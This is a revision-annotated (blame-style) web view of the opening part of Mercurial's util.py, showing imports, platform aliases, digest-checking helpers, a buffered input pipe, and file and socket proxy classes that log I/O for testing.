util.py
3609 lines
| 102.6 KiB
| text/x-python
|
PythonLexer
/ mercurial / util.py
|
r17515 | # util.py - Mercurial utility functions and platform specific implementations | ||
|
r8226 | # | ||
# Copyright 2005 K. Thananchayan <thananck@yahoo.com> | ||||
# Copyright 2005-2007 Matt Mackall <mpm@selenic.com> | ||||
# Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> | ||||
# | ||||
# This software may be used and distributed according to the terms of the | ||||
|
r10263 | # GNU General Public License version 2 or any later version. | ||
|
r1082 | |||
|
r17515 | """Mercurial utility functions and platform specific implementations. | ||
|
r1082 | |||
|
r8227 | This contains helper routines that are independent of the SCM core and | ||
hide platform-specific details from the core. | ||||
|
r1082 | """ | ||
|
r419 | |||
|
r34139 | from __future__ import absolute_import, print_function | ||
|
r27358 | |||
|
r33790 | import abc | ||
|
r27358 | import collections | ||
|
r33446 | import contextlib | ||
|
r27358 | import errno | ||
import gc | ||||
import hashlib | ||||
|
r34555 | import itertools | ||
|
r34296 | import mmap | ||
|
r27358 | import os | ||
|
r30418 | import platform as pyplatform | ||
|
r21907 | import re as remod | ||
|
r27358 | import shutil | ||
import socket | ||||
|
r30418 | import stat | ||
|
r27358 | import sys | ||
import time | ||||
import traceback | ||||
|
r31950 | import warnings | ||
|
r3769 | |||
|
r43346 | from .thirdparty import attr | ||
|
r43357 | from .pycompat import ( | ||
|
r43360 | delattr, | ||
|
r43359 | getattr, | ||
|
r43357 | open, | ||
setattr, | ||||
) | ||||
|
r39295 | from hgdemandimport import tracing | ||
|
r27358 | from . import ( | ||
encoding, | ||||
error, | ||||
i18n, | ||||
|
r35600 | node as nodemod, | ||
|
r32367 | policy, | ||
|
r28818 | pycompat, | ||
|
r34468 | urllibcompat, | ||
|
r27358 | ) | ||
|
r37101 | from .utils import ( | ||
r42208 | compression, | |||
|
r37136 | procutil, | ||
|
r37101 | stringutil, | ||
) | ||||
|
r3769 | |||
|
r43906 | base85 = policy.importmod('base85') | ||
osutil = policy.importmod('osutil') | ||||
|
r32367 | |||
|
r32200 | b85decode = base85.b85decode | ||
b85encode = base85.b85encode | ||||
|
r31934 | cookielib = pycompat.cookielib | ||
|
r30471 | httplib = pycompat.httplib | ||
pickle = pycompat.pickle | ||||
|
r37117 | safehasattr = pycompat.safehasattr | ||
|
r30471 | socketserver = pycompat.socketserver | ||
|
r36976 | bytesio = pycompat.bytesio | ||
# TODO deprecate stringio name, as it is a lie on Python 3. | ||||
stringio = bytesio | ||||
|
r30471 | xmlrpclib = pycompat.xmlrpclib | ||
|
r28883 | |||
|
r34468 | httpserver = urllibcompat.httpserver | ||
urlerr = urllibcompat.urlerr | ||||
urlreq = urllibcompat.urlreq | ||||
|
r32566 | # workaround for win32mbcs | ||
_filenamebytestr = pycompat.bytestr | ||||
|
r34646 | if pycompat.iswindows: | ||
|
r27358 | from . import windows as platform | ||
|
r14912 | else: | ||
|
r27358 | from . import posix as platform | ||
|
r14926 | |||
|
r27358 | _ = i18n._ | ||
|
r14926 | |||
|
r29530 | bindunixsocket = platform.bindunixsocket | ||
|
r14927 | cachestat = platform.cachestat | ||
|
r14926 | checkexec = platform.checkexec | ||
checklink = platform.checklink | ||||
|
r15011 | copymode = platform.copymode | ||
|
r14926 | expandglobs = platform.expandglobs | ||
|
r35531 | getfsmountpoint = platform.getfsmountpoint | ||
|
r35527 | getfstype = platform.getfstype | ||
|
r14926 | groupmembers = platform.groupmembers | ||
groupname = platform.groupname | ||||
isexec = platform.isexec | ||||
isowner = platform.isowner | ||||
|
r32203 | listdir = osutil.listdir | ||
|
r14926 | localpath = platform.localpath | ||
lookupreg = platform.lookupreg | ||||
makedir = platform.makedir | ||||
nlinks = platform.nlinks | ||||
normpath = platform.normpath | ||||
|
r15488 | normcase = platform.normcase | ||
|
r24605 | normcasespec = platform.normcasespec | ||
normcasefallback = platform.normcasefallback | ||||
|
r14926 | openhardlinks = platform.openhardlinks | ||
oslink = platform.oslink | ||||
parsepatchoutput = platform.parsepatchoutput | ||||
pconvert = platform.pconvert | ||||
|
r25420 | poll = platform.poll | ||
|
r14926 | posixfile = platform.posixfile | ||
|
r39940 | readlink = platform.readlink | ||
|
r14926 | rename = platform.rename | ||
|
r24692 | removedirs = platform.removedirs | ||
|
r14926 | samedevice = platform.samedevice | ||
samefile = platform.samefile | ||||
samestat = platform.samestat | ||||
setflags = platform.setflags | ||||
|
r17560 | split = platform.split | ||
|
r18026 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) | ||
|
r18868 | statisexec = platform.statisexec | ||
statislink = platform.statislink | ||||
|
r14926 | umask = platform.umask | ||
unlink = platform.unlink | ||||
username = platform.username | ||||
|
r14912 | |||
r42208 | # small compat layer | |||
compengines = compression.compengines | ||||
SERVERROLE = compression.SERVERROLE | ||||
CLIENTROLE = compression.CLIENTROLE | ||||
|
r32203 | try: | ||
recvfds = osutil.recvfds | ||||
except AttributeError: | ||||
pass | ||||
|
r6470 | # Python compatibility | ||
|
r3769 | |||
|
r15656 | _notset = object() | ||
|
r43346 | |||
|
r30745 | def bitsfrom(container): | ||
bits = 0 | ||||
for bit in container: | ||||
bits |= bit | ||||
return bits | ||||
|
r43346 | |||
|
r31950 | # python 2.6 still have deprecation warning enabled by default. We do not want | ||
# to display anything to standard user so detect if we are running test and | ||||
# only use python deprecation warning in this case. | ||||
|
r43347 | _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) | ||
|
r31950 | if _dowarn: | ||
# explicitly unfilter our warning for python 2.7 | ||||
# | ||||
# The option of setting PYTHONWARNINGS in the test runner was investigated. | ||||
# However, module name set through PYTHONWARNINGS was exactly matched, so | ||||
# we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This | ||||
# makes the whole PYTHONWARNINGS thing useless for our usecase. | ||||
|
r43906 | warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial') | ||
warnings.filterwarnings('default', '', DeprecationWarning, 'hgext') | ||||
warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd') | ||||
|
r36606 | if _dowarn and pycompat.ispy3: | ||
# silence warning emitted by passing user string to re.sub() | ||||
|
r43346 | warnings.filterwarnings( | ||
|
r43906 | 'ignore', 'bad escape', DeprecationWarning, 'mercurial' | ||
|
r43346 | ) | ||
warnings.filterwarnings( | ||||
|
r43906 | 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial' | ||
|
r43346 | ) | ||
|
r37473 | # TODO: reinvent imp.is_frozen() | ||
|
r43346 | warnings.filterwarnings( | ||
|
r43906 | 'ignore', | ||
'the imp module is deprecated', | ||||
|
r43346 | DeprecationWarning, | ||
|
r43906 | 'mercurial', | ||
|
r43346 | ) | ||
|
r31950 | |||
def nouideprecwarn(msg, version, stacklevel=1): | ||||
"""Issue an python native deprecation warning | ||||
This is a noop outside of tests, use 'ui.deprecwarn' when possible. | ||||
""" | ||||
if _dowarn: | ||||
|
r43346 | msg += ( | ||
|
r43347 | b"\n(compatibility will be dropped after Mercurial-%s," | ||
b" update your code.)" | ||||
|
r43346 | ) % version | ||
|
r36145 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) | ||
|
r31950 | |||
|
r43346 | |||
|
r22962 | DIGESTS = { | ||
|
r43347 | b'md5': hashlib.md5, | ||
b'sha1': hashlib.sha1, | ||||
b'sha512': hashlib.sha512, | ||||
|
r22962 | } | ||
# List of digest types from strongest to weakest | ||||
|
r43347 | DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] | ||
|
r22962 | |||
for k in DIGESTS_BY_STRENGTH: | ||||
assert k in DIGESTS | ||||
|
r43346 | |||
|
r22962 | class digester(object): | ||
"""helper to compute digests. | ||||
This helper can be used to compute one or more digests given their name. | ||||
|
r34133 | >>> d = digester([b'md5', b'sha1']) | ||
>>> d.update(b'foo') | ||||
|
r22962 | >>> [k for k in sorted(d)] | ||
['md5', 'sha1'] | ||||
|
r34133 | >>> d[b'md5'] | ||
|
r22962 | 'acbd18db4cc2f85cedef654fccc4a4d8' | ||
|
r34133 | >>> d[b'sha1'] | ||
|
r22962 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' | ||
|
r34133 | >>> digester.preferred([b'md5', b'sha1']) | ||
|
r22962 | 'sha1' | ||
""" | ||||
|
r43347 | def __init__(self, digests, s=b''): | ||
|
r22962 | self._hashes = {} | ||
for k in digests: | ||||
if k not in DIGESTS: | ||||
|
r43347 | raise error.Abort(_(b'unknown digest type: %s') % k) | ||
|
r22962 | self._hashes[k] = DIGESTS[k]() | ||
if s: | ||||
self.update(s) | ||||
def update(self, data): | ||||
for h in self._hashes.values(): | ||||
h.update(data) | ||||
def __getitem__(self, key): | ||||
if key not in DIGESTS: | ||||
|
r43347 | raise error.Abort(_(b'unknown digest type: %s') % k) | ||
|
r35600 | return nodemod.hex(self._hashes[key].digest()) | ||
|
r22962 | |||
def __iter__(self): | ||||
return iter(self._hashes) | ||||
@staticmethod | ||||
def preferred(supported): | ||||
"""returns the strongest digest type in both supported and DIGESTS.""" | ||||
for k in DIGESTS_BY_STRENGTH: | ||||
if k in supported: | ||||
return k | ||||
return None | ||||
|
r43346 | |||
|
r22963 | class digestchecker(object): | ||
"""file handle wrapper that additionally checks content against a given | ||||
size and digests. | ||||
d = digestchecker(fh, size, {'md5': '...'}) | ||||
When multiple digests are given, all of them are validated. | ||||
""" | ||||
def __init__(self, fh, size, digests): | ||||
self._fh = fh | ||||
self._size = size | ||||
self._got = 0 | ||||
self._digests = dict(digests) | ||||
self._digester = digester(self._digests.keys()) | ||||
def read(self, length=-1): | ||||
content = self._fh.read(length) | ||||
self._digester.update(content) | ||||
self._got += len(content) | ||||
return content | ||||
def validate(self): | ||||
if self._size != self._got: | ||||
|
r43346 | raise error.Abort( | ||
|
r43347 | _(b'size mismatch: expected %d, got %d') | ||
|
r43346 | % (self._size, self._got) | ||
) | ||||
|
r22963 | for k, v in self._digests.items(): | ||
if v != self._digester[k]: | ||||
|
r23076 | # i18n: first parameter is a digest name | ||
|
r43346 | raise error.Abort( | ||
|
r43347 | _(b'%s mismatch: expected %s, got %s') | ||
|
r43346 | % (k, v, self._digester[k]) | ||
) | ||||
|
r22963 | |||
|
r11565 | try: | ||
|
r15657 | buffer = buffer | ||
|
r11565 | except NameError: | ||
|
r43346 | |||
|
r33549 | def buffer(sliceable, offset=0, length=None): | ||
if length is not None: | ||||
|
r43346 | return memoryview(sliceable)[offset : offset + length] | ||
|
r33549 | return memoryview(sliceable)[offset:] | ||
|
r10756 | |||
|
r43346 | |||
|
r25406 | _chunksize = 4096 | ||
|
r43346 | |||
|
r25406 | class bufferedinputpipe(object): | ||
"""a manually buffered input pipe | ||||
Python will not let us use buffered IO and lazy reading with 'polling' at | ||||
the same time. We cannot probe the buffer state and select will not detect | ||||
that data are ready to read if they are already buffered. | ||||
This class let us work around that by implementing its own buffering | ||||
(allowing efficient readline) while offering a way to know if the buffer is | ||||
empty from the output (allowing collaboration of the buffer with polling). | ||||
This class lives in the 'util' module because it makes use of the 'os' | ||||
module from the python stdlib. | ||||
""" | ||||
|
r43346 | |||
|
r36542 | def __new__(cls, fh): | ||
# If we receive a fileobjectproxy, we need to use a variation of this | ||||
# class that notifies observers about activity. | ||||
if isinstance(fh, fileobjectproxy): | ||||
cls = observedbufferedinputpipe | ||||
return super(bufferedinputpipe, cls).__new__(cls) | ||||
|
r25406 | |||
def __init__(self, input): | ||||
self._input = input | ||||
self._buffer = [] | ||||
self._eof = False | ||||
|
r25672 | self._lenbuf = 0 | ||
|
r25406 | |||
@property | ||||
def hasbuffer(self): | ||||
"""True is any data is currently buffered | ||||
This will be used externally a pre-step for polling IO. If there is | ||||
already data then no polling should be set in place.""" | ||||
return bool(self._buffer) | ||||
@property | ||||
def closed(self): | ||||
return self._input.closed | ||||
def fileno(self): | ||||
return self._input.fileno() | ||||
def close(self): | ||||
return self._input.close() | ||||
def read(self, size): | ||||
while (not self._eof) and (self._lenbuf < size): | ||||
self._fillbuffer() | ||||
return self._frombuffer(size) | ||||
|
r38735 | def unbufferedread(self, size): | ||
if not self._eof and self._lenbuf == 0: | ||||
self._fillbuffer(max(size, _chunksize)) | ||||
return self._frombuffer(min(self._lenbuf, size)) | ||||
|
r25406 | def readline(self, *args, **kwargs): | ||
|
r40065 | if len(self._buffer) > 1: | ||
|
r25406 | # this should not happen because both read and readline end with a | ||
# _frombuffer call that collapse it. | ||||
|
r43347 | self._buffer = [b''.join(self._buffer)] | ||
|
r25672 | self._lenbuf = len(self._buffer[0]) | ||
|
r25406 | lfi = -1 | ||
if self._buffer: | ||||
|
r43347 | lfi = self._buffer[-1].find(b'\n') | ||
|
r25406 | while (not self._eof) and lfi < 0: | ||
self._fillbuffer() | ||||
if self._buffer: | ||||
|
r43347 | lfi = self._buffer[-1].find(b'\n') | ||
|
r25406 | size = lfi + 1 | ||
|
r43346 | if lfi < 0: # end of file | ||
|
r25406 | size = self._lenbuf | ||
|
r40065 | elif len(self._buffer) > 1: | ||
|
r25406 | # we need to take previous chunks into account | ||
size += self._lenbuf - len(self._buffer[-1]) | ||||
return self._frombuffer(size) | ||||
def _frombuffer(self, size): | ||||
"""return at most 'size' data from the buffer | ||||
The data are removed from the buffer.""" | ||||
if size == 0 or not self._buffer: | ||||
|
r43347 | return b'' | ||
|
r25406 | buf = self._buffer[0] | ||
|
r40065 | if len(self._buffer) > 1: | ||
|
r43347 | buf = b''.join(self._buffer) | ||
|
r25406 | |||
data = buf[:size] | ||||
|
r43346 | buf = buf[len(data) :] | ||
|
r25406 | if buf: | ||
self._buffer = [buf] | ||||
|
r25672 | self._lenbuf = len(buf) | ||
|
r25406 | else: | ||
self._buffer = [] | ||||
|
r25672 | self._lenbuf = 0 | ||
|
r25406 | return data | ||
|
r38735 | def _fillbuffer(self, size=_chunksize): | ||
|
r25406 | """read data to the buffer""" | ||
|
r38735 | data = os.read(self._input.fileno(), size) | ||
|
r25406 | if not data: | ||
self._eof = True | ||||
else: | ||||
|
r25672 | self._lenbuf += len(data) | ||
|
r25406 | self._buffer.append(data) | ||
|
r36542 | return data | ||
|
r43346 | |||
|
r34296 | def mmapread(fp): | ||
try: | ||||
fd = getattr(fp, 'fileno', lambda: fp)() | ||||
return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) | ||||
except ValueError: | ||||
# Empty files cannot be mmapped, but mmapread should still work. Check | ||||
# if the file is empty, and if so, return an empty buffer. | ||||
if os.fstat(fd).st_size == 0: | ||||
|
r43347 | return b'' | ||
|
r34296 | raise | ||
|
r43346 | |||
|
r36541 | class fileobjectproxy(object): | ||
"""A proxy around file objects that tells a watcher when events occur. | ||||
This type is intended to only be used for testing purposes. Think hard | ||||
before using it in important code. | ||||
""" | ||||
|
r43346 | |||
|
r36541 | __slots__ = ( | ||
|
r43906 | '_orig', | ||
'_observer', | ||||
|
r36541 | ) | ||
def __init__(self, fh, observer): | ||||
|
r43906 | object.__setattr__(self, '_orig', fh) | ||
object.__setattr__(self, '_observer', observer) | ||||
|
r36541 | |||
def __getattribute__(self, name): | ||||
ours = { | ||||
|
r43906 | '_observer', | ||
|
r36541 | # IOBase | ||
|
r43906 | 'close', | ||
|
r36541 | # closed if a property | ||
|
r43906 | 'fileno', | ||
'flush', | ||||
'isatty', | ||||
'readable', | ||||
'readline', | ||||
'readlines', | ||||
'seek', | ||||
'seekable', | ||||
'tell', | ||||
'truncate', | ||||
'writable', | ||||
'writelines', | ||||
|
r36541 | # RawIOBase | ||
|
r43906 | 'read', | ||
'readall', | ||||
'readinto', | ||||
'write', | ||||
|
r36541 | # BufferedIOBase | ||
# raw is a property | ||||
|
r43906 | 'detach', | ||
|
r36541 | # read defined above | ||
|
r43906 | 'read1', | ||
|
r36541 | # readinto defined above | ||
# write defined above | ||||
} | ||||
# We only observe some methods. | ||||
if name in ours: | ||||
return object.__getattribute__(self, name) | ||||
|
r43906 | return getattr(object.__getattribute__(self, '_orig'), name) | ||
|
r36541 | |||
|
r36850 | def __nonzero__(self): | ||
|
r43906 | return bool(object.__getattribute__(self, '_orig')) | ||
|
r36850 | |||
__bool__ = __nonzero__ | ||||
|
r36541 | def __delattr__(self, name): | ||
|
r43906 | return delattr(object.__getattribute__(self, '_orig'), name) | ||
|
r36541 | |||
def __setattr__(self, name, value): | ||||
|
r43906 | return setattr(object.__getattribute__(self, '_orig'), name, value) | ||
|
r36541 | |||
def __iter__(self): | ||||
|
r43906 | return object.__getattribute__(self, '_orig').__iter__() | ||
|
r36541 | |||
def _observedcall(self, name, *args, **kwargs): | ||||
# Call the original object. | ||||
|
r43906 | orig = object.__getattribute__(self, '_orig') | ||
|
r36541 | res = getattr(orig, name)(*args, **kwargs) | ||
# Call a method on the observer of the same name with arguments | ||||
# so it can react, log, etc. | ||||
|
r43906 | observer = object.__getattribute__(self, '_observer') | ||
|
r36541 | fn = getattr(observer, name, None) | ||
if fn: | ||||
fn(res, *args, **kwargs) | ||||
return res | ||||
def close(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'close', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def fileno(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'fileno', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def flush(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'flush', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def isatty(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'isatty', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def readable(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'readable', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def readline(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'readline', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def readlines(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'readlines', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def seek(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'seek', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def seekable(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'seekable', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def tell(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'tell', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def truncate(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'truncate', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def writable(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'writable', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def writelines(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'writelines', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def read(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'read', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def readall(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'readall', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def readinto(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'readinto', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def write(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'write', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def detach(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'detach', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
def read1(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'read1', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r36541 | |||
|
r36542 | class observedbufferedinputpipe(bufferedinputpipe): | ||
"""A variation of bufferedinputpipe that is aware of fileobjectproxy. | ||||
``bufferedinputpipe`` makes low-level calls to ``os.read()`` that | ||||
bypass ``fileobjectproxy``. Because of this, we need to make | ||||
``bufferedinputpipe`` aware of these operations. | ||||
This variation of ``bufferedinputpipe`` can notify observers about | ||||
``os.read()`` events. It also re-publishes other events, such as | ||||
``read()`` and ``readline()``. | ||||
""" | ||||
|
r43346 | |||
|
r36542 | def _fillbuffer(self): | ||
res = super(observedbufferedinputpipe, self)._fillbuffer() | ||||
|
r43373 | fn = getattr(self._input._observer, 'osread', None) | ||
|
r36542 | if fn: | ||
fn(res, _chunksize) | ||||
return res | ||||
# We use different observer methods because the operation isn't | ||||
# performed on the actual file object but on us. | ||||
def read(self, size): | ||||
res = super(observedbufferedinputpipe, self).read(size) | ||||
|
r43373 | fn = getattr(self._input._observer, 'bufferedread', None) | ||
|
r36542 | if fn: | ||
fn(res, size) | ||||
return res | ||||
def readline(self, *args, **kwargs): | ||||
res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) | ||||
|
r43373 | fn = getattr(self._input._observer, 'bufferedreadline', None) | ||
|
r36542 | if fn: | ||
fn(res) | ||||
return res | ||||
|
r43346 | |||
|
r37028 | PROXIED_SOCKET_METHODS = { | ||
|
r43906 | 'makefile', | ||
'recv', | ||||
'recvfrom', | ||||
'recvfrom_into', | ||||
'recv_into', | ||||
'send', | ||||
'sendall', | ||||
'sendto', | ||||
'setblocking', | ||||
'settimeout', | ||||
'gettimeout', | ||||
'setsockopt', | ||||
|
r37028 | } | ||
|
r43346 | |||
|
r37028 | class socketproxy(object): | ||
"""A proxy around a socket that tells a watcher when events occur. | ||||
This is like ``fileobjectproxy`` except for sockets. | ||||
This type is intended to only be used for testing purposes. Think hard | ||||
before using it in important code. | ||||
""" | ||||
|
r43346 | |||
|
r37028 | __slots__ = ( | ||
|
r43906 | '_orig', | ||
'_observer', | ||||
|
r37028 | ) | ||
def __init__(self, sock, observer): | ||||
|
r43906 | object.__setattr__(self, '_orig', sock) | ||
object.__setattr__(self, '_observer', observer) | ||||
|
r37028 | |||
def __getattribute__(self, name): | ||||
if name in PROXIED_SOCKET_METHODS: | ||||
return object.__getattribute__(self, name) | ||||
|
r43906 | return getattr(object.__getattribute__(self, '_orig'), name) | ||
|
r37028 | |||
def __delattr__(self, name): | ||||
|
r43906 | return delattr(object.__getattribute__(self, '_orig'), name) | ||
|
r37028 | |||
def __setattr__(self, name, value): | ||||
|
r43906 | return setattr(object.__getattribute__(self, '_orig'), name, value) | ||
|
r37028 | |||
def __nonzero__(self): | ||||
|
r43906 | return bool(object.__getattribute__(self, '_orig')) | ||
|
r37028 | |||
__bool__ = __nonzero__ | ||||
def _observedcall(self, name, *args, **kwargs): | ||||
# Call the original object. | ||||
|
r43906 | orig = object.__getattribute__(self, '_orig') | ||
|
r37028 | res = getattr(orig, name)(*args, **kwargs) | ||
# Call a method on the observer of the same name with arguments | ||||
# so it can react, log, etc. | ||||
|
r43906 | observer = object.__getattribute__(self, '_observer') | ||
|
r37028 | fn = getattr(observer, name, None) | ||
if fn: | ||||
fn(res, *args, **kwargs) | ||||
return res | ||||
def makefile(self, *args, **kwargs): | ||||
|
r43906 | res = object.__getattribute__(self, '_observedcall')( | ||
'makefile', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
# The file object may be used for I/O. So we turn it into a | ||||
# proxy using our observer. | ||||
|
r43906 | observer = object.__getattribute__(self, '_observer') | ||
|
r43346 | return makeloggingfileobject( | ||
observer.fh, | ||||
res, | ||||
observer.name, | ||||
reads=observer.reads, | ||||
writes=observer.writes, | ||||
logdata=observer.logdata, | ||||
logdataapis=observer.logdataapis, | ||||
) | ||||
|
r37028 | |||
def recv(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'recv', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def recvfrom(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'recvfrom', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def recvfrom_into(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'recvfrom_into', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def recv_into(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'recv_info', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def send(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'send', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def sendall(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'sendall', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def sendto(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'sendto', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def setblocking(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'setblocking', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def settimeout(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'settimeout', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def gettimeout(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'gettimeout', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
def setsockopt(self, *args, **kwargs): | ||||
|
r43906 | return object.__getattribute__(self, '_observedcall')( | ||
'setsockopt', *args, **kwargs | ||||
|
r43346 | ) | ||
|
r37028 | |||
class baseproxyobserver(object): | ||||
|
r36541 | def _writedata(self, data): | ||
if not self.logdata: | ||||
|
r37062 | if self.logdataapis: | ||
|
r43347 | self.fh.write(b'\n') | ||
|
r37062 | self.fh.flush() | ||
|
r36541 | return | ||
# Simple case writes all data on a single line. | ||||
if b'\n' not in data: | ||||
|
r37062 | if self.logdataapis: | ||
|
r43347 | self.fh.write(b': %s\n' % stringutil.escapestr(data)) | ||
|
r37062 | else: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> %s\n' % (self.name, stringutil.escapestr(data)) | ||
|
r43346 | ) | ||
|
r37006 | self.fh.flush() | ||
|
r36541 | return | ||
# Data with newlines is written to multiple lines. | ||||
|
r37062 | if self.logdataapis: | ||
|
r43347 | self.fh.write(b':\n') | ||
|
r37062 | |||
|
r36541 | lines = data.splitlines(True) | ||
for line in lines: | ||||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> %s\n' % (self.name, stringutil.escapestr(line)) | ||
|
r43346 | ) | ||
|
r37006 | self.fh.flush() | ||
|
r36541 | |||
|
r43346 | |||
|
r37028 | class fileobjectobserver(baseproxyobserver): | ||
"""Logs file object activity.""" | ||||
|
r43346 | |||
def __init__( | ||||
self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True | ||||
): | ||||
|
r37028 | self.fh = fh | ||
self.name = name | ||||
self.logdata = logdata | ||||
|
r37062 | self.logdataapis = logdataapis | ||
|
r37028 | self.reads = reads | ||
self.writes = writes | ||||
|
r36541 | def read(self, res, size=-1): | ||
if not self.reads: | ||||
return | ||||
|
r36603 | # Python 3 can return None from reads at EOF instead of empty strings. | ||
if res is None: | ||||
|
r43347 | res = b'' | ||
if size == -1 and res == b'': | ||||
|
r38334 | # Suppress pointless read(-1) calls that return | ||
# nothing. These happen _a lot_ on Python 3, and there | ||||
# doesn't seem to be a better workaround to have matching | ||||
# Python 2 and 3 behavior. :( | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43347 | self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) | ||
|
r37062 | |||
|
r36541 | self._writedata(res) | ||
def readline(self, res, limit=-1): | ||||
if not self.reads: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43347 | self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) | ||
|
r37062 | |||
|
r36541 | self._writedata(res) | ||
|
r36648 | def readinto(self, res, dest): | ||
if not self.reads: | ||||
return | ||||
|
r37062 | if self.logdataapis: | ||
|
r43346 | self.fh.write( | ||
|
r43347 | b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) | ||
|
r43346 | ) | ||
|
r37062 | |||
|
r36648 | data = dest[0:res] if res is not None else b'' | ||
|
r41429 | |||
# _writedata() uses "in" operator and is confused by memoryview because | ||||
# characters are ints on Python 3. | ||||
if isinstance(data, memoryview): | ||||
data = data.tobytes() | ||||
|
r36648 | self._writedata(data) | ||
|
r36541 | def write(self, res, data): | ||
if not self.writes: | ||||
return | ||||
|
r36649 | # Python 2 returns None from some write() calls. Python 3 (reasonably) | ||
# returns the integer bytes written. | ||||
if res is None and data: | ||||
res = len(data) | ||||
|
r37062 | if self.logdataapis: | ||
|
r43347 | self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) | ||
|
r37062 | |||
|
r36541 | self._writedata(data) | ||
def flush(self, res): | ||||
if not self.writes: | ||||
return | ||||
|
